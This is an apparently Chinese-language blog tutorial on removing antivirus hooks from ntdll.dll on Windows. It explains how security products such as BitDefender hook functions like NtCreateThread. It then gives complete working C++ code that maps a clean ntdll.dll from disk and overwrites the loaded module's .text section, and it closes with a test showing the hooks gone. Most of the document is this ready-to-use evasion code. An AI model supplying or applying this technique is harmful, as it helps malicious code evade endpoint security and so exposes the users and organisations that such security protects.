移除NtDll的hook

简介

许多杀毒软件使用钩子(hook)技术来监视系统的API函数调用,并检测潜在的恶意代码行为。Ntdll.dll是Windows操作系统的一个核心动态链接库,其中包含许多系统级API函数。通过在Ntdll上设置钩子,杀毒软件可以拦截这些API函数的调用,并检查它们的参数和返回值,以便发现可能的恶意行为

下图是没有被杀软挂钩子的NtCreateThread函数

image-20230630171325746

下图是被BitDefender挂钩子的NtCreateThread函数,钩子是jmp 7FFAACAD0264

image-20230630171710947

代码思路

UNHOOKntdll()函数的主要目标是移除对ntdll.dll文件的任何hooks

1.获取被挂钩的ntdll信息

函数首先通过GetModuleHandleA("ntdll.dll")获取ntdll模块的句柄,这个句柄指向当前进程中已经加载的ntdll.dll

GetModuleInformation()被用于获取ntdll模块的信息,包括模块的基地址等。此处获取到的信息将被用于后续操作

2.打开新的ntdll并映射至进程空间

通过调用CreateFileA()打开系统目录下的原始ntdll.dll文件。这个文件没有被任何hook修改,所以可以作为一个“清洁”的源来恢复被hook修改的部分

使用CreateFileMapping()MapViewOfFile()函数将原始ntdll文件映射至当前进程的地址空间中

3.查找ntdll的text节区

遍历当前进程中加载的ntdll模块的所有section(节区)。在Windows PE文件格式(包括DLL和EXE)中,一个section是包含特定类型数据的一个内存区块,例如代码或者数据。特别地,.text section通常包含程序的代码

4.替换text节区的内容

通过调用VirtualProtect()改变它的内存保护属性,使其成为可读、可写、可执行。这样才能修改该内存区块的内容

通过memcpy()将原始ntdll文件中的.text section的内容复制到当前进程的ntdll模块的对应部分。这个操作实际上就是“恢复”了被hook修改过的代码,因为现在它被原始的、没有被hook的代码所替代

代码实现

#include <Windows.h>
#include <TlHelp32.h>
#include <iostream>
#include <winternl.h>
#include <psapi.h>

// 智能句柄,自动管理系统资源
struct SmartHandle {
    HANDLE handle; // 系统句柄
    SmartHandle(HANDLE handle) : handle(handle) {} // 构造函数,接收系统句柄
    ~SmartHandle() { // 析构函数
        if (handle != INVALID_HANDLE_VALUE) { // 判断句柄是否有效
            CloseHandle(handle); // 如果有效,关闭句柄
        }
    }
};

DWORD UNHOOKntdll() {
    MODULEINFO mi = {}; // 定义模块信息结构体
    HMODULE ntdllModule = GetModuleHandleA("ntdll.dll"); // 获取ntdll模块的句柄
    GetModuleInformation(HANDLE(-1), ntdllModule, &mi, sizeof(mi)); // 获取模块信息,存放到mi
    LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll; // 获取ntdll模块的基址

    // 使用智能句柄打开ntdll.dll文件
    SmartHandle ntdllFile(CreateFileA("c:\\windows\\system32\\ntdll.dll",
        GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL));

    // 创建文件映射,映射ntdll.dll文件
    SmartHandle ntdllMapping(CreateFileMapping(ntdllFile.handle, NULL, PAGE_READONLY |
        SEC_IMAGE, 0, 0, NULL));

    // 映射视图,得到映射地址
    LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping.handle, FILE_MAP_READ, 0,
        0, 0);

    // 读取ntdll模块的DOS头
    PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;

    // 读取ntdll模块的NT头
    PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase
        + hookedDosHeader->e_lfanew);

    // 遍历所有节
    for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
        // 读取每个节的头信息
        PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)
            ((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) +
                ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));

        // 检查是否是.text节
        if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
            DWORD oldProtection = 0; // 用来保存旧的保护属性
            try {
                // 修改内存保护属性为可读可写可执行
                BOOL isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase +
                    (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);

                // 使用memcpy替换.text节的内容
                memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress),
                    (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
            }
            catch (...) {
                // 如果在修改过程中发生异常,确保恢复内存的保护属性
                VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
                throw; // 再次抛出异常,让上层调用者知道发生了异常
            }
            // 确保我们恢复了内存的保护属性
            VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
        }
    }
    FreeLibrary(ntdllModule); // 释放模块
    return 0;
}


int main() {
    getchar();
    UNHOOKntdll();
	return 0;
}

运行测试

重载Ntdll后,可以发现杀软的钩子被去除掉了

image-20230630183555397

最后更新于